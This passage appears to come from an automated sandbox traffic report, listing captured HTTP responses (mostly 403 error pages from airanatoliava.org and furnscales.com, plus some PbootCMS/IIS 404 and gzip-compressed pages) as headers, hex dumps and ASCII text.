align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (26)</h3> <!--- 149.18.24.110---></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 02 Dec 2023 17:04:44 GMTServer: ApacheSet-Cookie: vsid=921vr449082284321630147; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnlyContent-Length: 301Content-Type: text/html; charset=UTF-8Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 31 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (21)</h3> <!--- 149.18.24.110---></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 02 Dec 2023 17:04:44 GMTServer: ApacheSet-Cookie: vsid=921vr449082284391400791; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnlyContent-Length: 301Content-Type: text/html; charset=UTF-8Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 31 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (21)</h3> <!--- 149.18.24.110---></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 02 Dec 2023 17:04:44 GMTServer: ApacheSet-Cookie: vsid=929vr449082284484134809; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnlyContent-Length: 301Content-Type: text/html; charset=UTF-8Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 39 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (29)</h3> <!--- 149.18.24.110---></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 02 Dec 2023 17:04:44 GMTServer: ApacheSet-Cookie: vsid=919vr449082284534193507; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnlyContent-Length: 301Content-Type: text/html; charset=UTF-8Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 31 39 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (19)</h3> <!--- 149.18.24.110---></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: lg=cn; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:43 GMTContent-Length: 766Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" he
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 02 Dec 2023 17:04:44 GMTServer: ApacheSet-Cookie: vsid=926vr44908228457202671; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnlyContent-Length: 301Content-Type: text/html; charset=UTF-8Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 36 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (26)</h3> <!--- 149.18.24.110---></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 02 Dec 2023 17:04:44 GMTServer: ApacheSet-Cookie: vsid=929vr449082284484134809; expires=Thu, 30-Nov-2028 17:04:44 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnlyContent-Length: 301Content-Type: text/html; charset=UTF-8Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 2e 20 50 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 66 6f 72 20 6d 6f 72 65 20 64 65 74 61 69 6c 73 2e 20 20 28 32 39 29 3c 2f 68 33 3e 0d 0a 20 20 20 20 3c 21 2d 2d 2d 20 31 34 39 2e 31 38 2e 32 34 2e 31 31 30 2d 2d 2d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noarchive" /><meta name="googlebot" content="nosnippet" /></head><body><div align=center><h3>Error. Page cannot be displayed. Please contact your service provider for more details. (29)</h3> <!--- 149.18.24.110---></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:33 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Type: text/html; charset=utf-8Content-Encoding: gzipExpires: Thu, 19 Nov 1981 08:52:00 GMTVary: Accept-EncodingServer: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: PbootSystem=bcl5srk9fjr92mlllbiotbel1v; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:38 GMTContent-Length: 1678Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 1e ff ae 4f bf 3c 79 f3 fb bc 3c 4d e7 ed a2 3c 4a 1e 9b 1f 79 36 a3 1f 8b bc cd d2 e9 3c ab 9b bc fd ec a3 75 7b be 7d f0 91 f9 78 99 2d f2 cf 3e ba 2c f2 ab 55 55 b7 1f a5 d3 6a d9 e6 4b 6a 76 55 cc da f9 67 b3 fc b2 98 e6 db fc c7 28 2d 96 45 5b 64 e5 76 33 cd ca fc b3 dd 51 ba c8 de 15 8b f5 c2 7c d0 81 5a e7 cb 59 5e e7 f5 47 a9 07 36 9f bc 2d 5a 34 6c 8b b6 cc 8f 5e 4e aa aa 3d f9 e2 f5 7f f9 37 fc c5 ff e5 9f f4 47 fc 67 7f d7 5f ff 9f ff 83 7f e8 f6 4f de 1b ef 8d ef 6f ef ed ec dd db d9 df db 7d 7c 57 da 26 8f cb 62 f9 36 ad f3 f2 b3 8f 9a 39 a1 3b 5d b7 69 41 a0 3f 4a e7 75 7e fe d9 47 77 cf 33 42 b7 5a 8e e9 9f 8f d2 f6 7a 45 48 14 8b ec 22 bf fb 6e 9b 3e 5a a2 5b 0f 44 7b 5d e6 cd 3c cf 69 d8 fa 7e b6 5a 35 77 b3 d9 a2 58 de 05 49 ee ce f2 f3 6c 5d b6 77 cb ec 7a 5d dc 9d 36 8d fc 36 a6 df 7e 8f cb cf 2e 09 c9 f1 fe d7 06 7a 4e 34 d9 ce ae f2 a6 5a e4 0c db ff 60 4c cd 4d 37 fb e3 07 e3 1d 33 9e 36 7f d7 a2 f5 d7 ee 96 de bd 5b 56 17 0e fc ee 78 77 fc 29 c0 35 d3 ba 58 b5 7e 3f 3f 9d 5d 66 f2 e9 47 69 53 4f 37 40 fd e9 e6 ee 4f ff a2 75 5e 5f 6f 13 b8 bd f1 3e e3 ff d3 84 e5 e3 bb 02 80 e0 df 15 7e 4c 1e 4f aa d9 f5 51 f2 63 c9 e3 59 71 99 4e cb ac 69 88 2d 9b bc de 66 bc 3e 4a e9 bb f8 57 db 8b 8c be a7 af 87 be 47 0f c4 70 68 f1 63 8f e7 7b f2 b3 58 5c dc 80 3d 33 09 93 a5 1a af 96 17 44 c3 bc b8 98 13 bb ee ef 08 ac 18 9b e2 73 1a 93 76 b2 3a fa af ff da 3f eb bf f8 d3 ff a8 ff f4 0f fa 83 ff cb bf e1 0f fa 2f fe b6 3f 98 7e f9 cf ff be bf e7 bf f8 43 fe f8 ff f2 cf f9 c3 5e 7e fb e5 7f f6 f7 fd c1 ff d9 df f5 e7 fc 97 7f ff 9f fc 5f fe b5 7f b6 40 f9 2f ff d6 bf f7 bf fc 7b ff c2 c7 77 57 00 f0 f8 2e 0d 08 bf d0 ff 1e 9f 57 f5 22 cd a6 6d 51 2d 81 34 f0 1d af e6 ab df 63 f5 d9 dd 33 12 a9 77 40 94 e8 90 a6 d5 b2 59 4f 16 05 21 5a e7 ed ba 5e a6 e7 59 d9 e4 24 c5 42 18 66 d6 6d 40 fb 28 2d 66 9f 7d 34 ab e4 45 f4 43 64 59 ae 48 7e 64 b6 e7 c5 6c 96 13 44 11 5c bc 31 9d e7 d3 b7 f2 9a f7 e7 65 56 ae a9 c1 83 f3 87 7b d9 2c cb b2 bd 7b 93 9d 07 3b 7b 0f 1f de db df bd 9f ed 4f ef ed 3c cc 0e 76 27 34 85 29 f7 41 83 32 c8 78 b3 34 a9 de 09 0e 41 03 87 ed 76 d1 e6 0b 6d f1 63 8f cb 6c 92 97 a6 91 07 05 12 9d ca 4b 9d 5f b7 d1 0a 43 01 fb f1 eb 06 Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Type: text/html; charset=utf-8Content-Encoding: gzipExpires: Thu, 19 Nov 1981 08:52:00 GMTVary: Accept-EncodingServer: Microsoft-IIS/10.0X-UA-Compatible: IE=edge,chrome=1X-Powered-By: PbootCMSSet-Cookie: PbootSystem=scg0n10jei483ec36vf7jkehl9; path=/X-Powered-By: ASP.NETDate: Sat, 02 Dec 2023 17:04:40 GMTContent-Length: 1678Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 1e ff ae 4f bf 3c 79 f3 fb bc 3c 4d e7 ed a2 3c 4a 1e 9b 1f 79 36 a3 1f 8b bc cd d2 e9 3c ab 9b bc fd ec a3 75 7b be 7d f0 91 f9 78 99 2d f2 cf 3e ba 2c f2 ab 55 55 b7 1f a5 d3 6a d9 e6 4b 6a 76 55 cc da f9 67 b3 fc b2 98 e6 db fc c7 28 2d 96 45 5b 64 e5 76 33 cd ca fc b3 dd 51 ba c8 de 15 8b f5 c2 7c d0 81 5a e7 cb 59 5e e7 f5 47 a9 07 36 9f bc 2d 5a 34 6c 8b b6 cc 8f 5e 4e aa aa 3d f9 e2 f5 7f f9 37 fc c5 ff e5 9f f4 47 fc 67 7f d7 5f ff 9f ff 83 7f e8 f6 4f de 1b ef 8d ef 6f ef ed ec dd db d9 df db 7d 7c 57 da 26 8f cb 62 f9 36 ad f3 f2 b3 8f 9a 39 a1 3b 5d b7 69 41 a0 3f 4a e7 75 7e fe d9 47 77 cf 33 42 b7 5a 8e e9 9f 8f d2 f6 7a 45 48 14 8b ec 22 bf fb 6e 9b 3e 5a a2 5b 0f 44 7b 5d e6 cd 3c cf 69 d8 fa 7e b6 5a 35 77 b3 d9 a2 58 de 05 49 ee ce f2 f3 6c 5d b6 77 cb ec 7a 5d dc 9d 36 8d fc 36 a6 df 7e 8f cb cf 2e 09 c9 f1 fe d7 06 7a 4e 34 d9 ce ae f2 a6 5a e4 0c db ff 60 4c cd 4d 37 fb e3 07 e3 1d 33 9e 36 7f d7 a2 f5 d7 ee 96 de bd 5b 56 17 0e fc ee 78 77 fc 29 c0 35 d3 ba 58 b5 7e 3f 3f 9d 5d 66 f2 e9 47 69 53 4f 37 40 fd e9 e6 ee 4f ff a2 75 5e 5f 6f 13 b8 bd f1 3e e3 ff d3 84 e5 e3 bb 02 80 e0 df 15 7e 4c 1e 4f aa d9 f5 51 f2 63 c9 e3 59 71 99 4e cb ac 69 88 2d 9b bc de 66 bc 3e 4a e9 bb f8 57 db 8b 8c be a7 af 87 be 47 0f c4 70 68 f1 63 8f e7 7b f2 b3 58 5c dc 80 3d 33 09 93 a5 1a af 96 17 44 c3 bc b8 98 13 bb ee ef 08 ac 18 9b e2 73 1a 93 76 b2 3a fa af ff da 3f eb bf f8 d3 ff a8 ff f4 0f fa 83 ff cb bf e1 0f fa 2f fe b6 3f 98 7e f9 cf ff be bf e7 bf f8 43 fe f8 ff f2 cf f9 c3 5e 7e fb e5 7f f6 f7 fd c1 ff d9 df f5 e7 fc 97 7f ff 9f fc 5f fe b5 7f b6 40 f9 2f ff d6 bf f7 bf fc 7b ff c2 c7 77 57 00 f0 f8 2e 0d 08 bf d0 ff 1e 9f 57 f5 22 cd a6 6d 51 2d 81 34 f0 1d af e6 ab df 63 f5 d9 dd 33 12 a9 77 40 94 e8 90 a6 d5 b2 59 4f 16 05 21 5a e7 ed ba 5e a6 e7 59 d9 e4 24 c5 42 